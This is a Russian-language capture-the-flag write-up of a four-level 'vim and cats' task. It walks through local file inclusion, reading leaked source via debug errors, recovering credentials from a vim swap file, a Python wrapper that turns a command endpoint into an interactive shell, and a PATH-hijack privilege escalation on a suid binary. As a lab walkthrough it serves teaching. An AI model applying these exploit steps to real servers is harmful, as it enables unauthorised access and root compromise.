# vim and cats Здесь разборы всех 4 уровней данного таска Уровень 1: > Посмотрите какие няшные котики! Посмотрите какой няшный vim! Удастся ли вам достать файл в /stage1? Зайдём на указанный в условии сайт. Там можно увидеть видео котиков и изменённый фрагмент документации vim. Если посмотреть как загружаются видео, можно увидеть, что название файла передаётся в query string (cat_name), что сразу наталкивает на мысль о наличии здесь уязвимости local file inclusion. Чтобы проверить, укажем как имя файла с котиком `../../../../etc/passwd`. Действительно, загружается файл /etc/passwd, аналогично можно загрузить файл с флагом. Уровень 2: > Утащите исходный код сервера! Флаг будет там. Изпользуя найденную нами уязвимость, зададим несуществующее имя файла. Сервер вернёт сообщение об ошибке, но, так как включён debug, ошибка покажет часть исходного кода и путь, по которому лежит сервер (/srv/server.py), а также текущую директорию сервера (/srv) ![Так это выглядит](picture1.png) Так мы можем с помощью той же уязвимости посмотреть исходный код сервера Уровень 3: > Говорят, на сайте можно выполнять любой код, нужно только знать пароль! > Хорошо что мы подслушали разговор: >> Исправил я первую страницу, только в процессе вим крашнулся, но это непотребство я убрал! > > Сможете ли вы выполнить свои команды на сервере и найти флаг, находящийся в корне? Посмотрев на "подслушанный разговор", мы узнаем что файл index.html раньше был другим, причём его исправили с помощью vim, который в процессе упал. Значит, если vim был настроен на сохранение .swp файлов, то рядом окажется .index.html.swp, из которого с помощью vim можно вытянуть старую версию файла. .index.html.swp существует, это можно узнать, используя найденную уязвимость. Скачаем файл и вытянем старую версию с помощью vim: `vim -r .index.html.swp` В старой версии в конце файла находятся логин и пароль для пользователя www. Анализируя код, можно узнать что на пути /5h3ll можно выполнить любую команду, если ввести логин и пароль от сайта. Введём комманду ls / и найдём файл с флагом. Уровень 4. > Говорят что в /opt есть скрипт, который запускается от имени root, потому что есть suid бит. Флаг лежит в /root В дальнейшем, нам не будет достаточно одноразового исполнения комманд, поэтому сделаем себе интерактивный терминал с помощью python 3. Для работы на потеребуются библиотеки requests для web запросов, shlex для экранирования спецсимволов и правильной работы командной строки и urllib - нужна будет функция `urllib.parse.urlencode`, тоже для корректной работы эксплоита. для начала, создадим объект, которым будем делать web запросы. ```python import requests import shlex import urllib s=requests.Session() ``` Чтобы не писать каждый раз сайт, путь и логин с паролем, создадим новую функцию для вызова комманды ```python def command(c): g=s.get('/5h3ll?login=www&password=p455w0rd_v3ry_57r0n9_f0r_www-d4t4&command='+urllib.parse.quote(c)) return g.text ``` Дальше, чтобы коммандная строка была одной сессией, нужно чтобы постоянно выполнялся /bin/bash. Ввод должен быть постоянным, поэтому его будем подавать через unix канал, а вывод должен иметь возможность выводиться частично, пока в него ещё пишут, поэтому это будет просто файл. ```python command('mkfifo /tmp/in') command('touch /tmp/out') ``` Далее, нам понадобятся несколько параллельно работающих python (если хочется, можно реализовать то же самое через потоки/подпроцессы). Каждый будет использовать уже написанную функцию. В одном работающем python создадим ту самую сессию, с которой будет общаться эксплоит. ```python command('cd /tmp;cat /tmp/in | /bin/bash > /tmp/out') # Работать впоследствии будем в /tmp, поэтому сразу идём туда ``` Далее, нам нужно поддерживать канал открытым, так как после одноразовой записи туда будет послан EOF и сессия прервётся. Сделать это можно потому, что unix каналы поддерживают возможность параллельной записи из нескольких источников. ```python command('sleep 9999999 > /tmp/in') ``` В третьем открытом python будем реализовывать интерфейс общения. Чтобы выполнить команду, нужно послать её в /tmp/in и считать результат из /tmp/out. ```python def shell(): s='' while(1):#вечный цикл для постоянной работы интерфейса command('echo '+shlex.quote(s)+' > /tmp/in')#Посылаем экранированную от спецсимволов команду в /tmp/in print(command('cat /tmp/out'))#Считываем результат s=input()#Считываем следующую команду command('echo > /tmp/out')#Очищаем файл вывода чтобы не видеть каждый раз результата прошлых команд ``` Готово! Теперь, у нас есть удобный reverse-shell для взаимодействия с сервером. Разберёмся с программой. Нашим reverse-shell мы узнаем что в /opt есть бинарный файл cat_status с suid битом, а рядом можем найти исходный код программы. ```c #include #include int main() { setuid(0); setgid(0); puts("status.txt contains status. Here it is:"); int result=system("cat status.txt"); } ``` Чтобы эксплуатировать этот бинарник, заставим его запустить bash вместо cat. Для Этого в папку /tmp скопируем файл, запускающий терминал и назовём его cat. Чтобы заставить программу исполнить его, изменим переменную окружения PATH, а чтобы запускаемый bash файл создавал командную строку, в файл /tmp/status.txt, который будет прочитан программой, запишем исполняемый файл консоли. После этого запустим cat_status. ```bash cp /bin/bash /tmp/cat export PATH=/tmp echo '/bin/bash' > /tmp/status.txt /opt/cat_status ``` Запустив /usr/bin/whoami, мы понимаем что стали root. После этого можно без труда прочитать файл флага. Profit!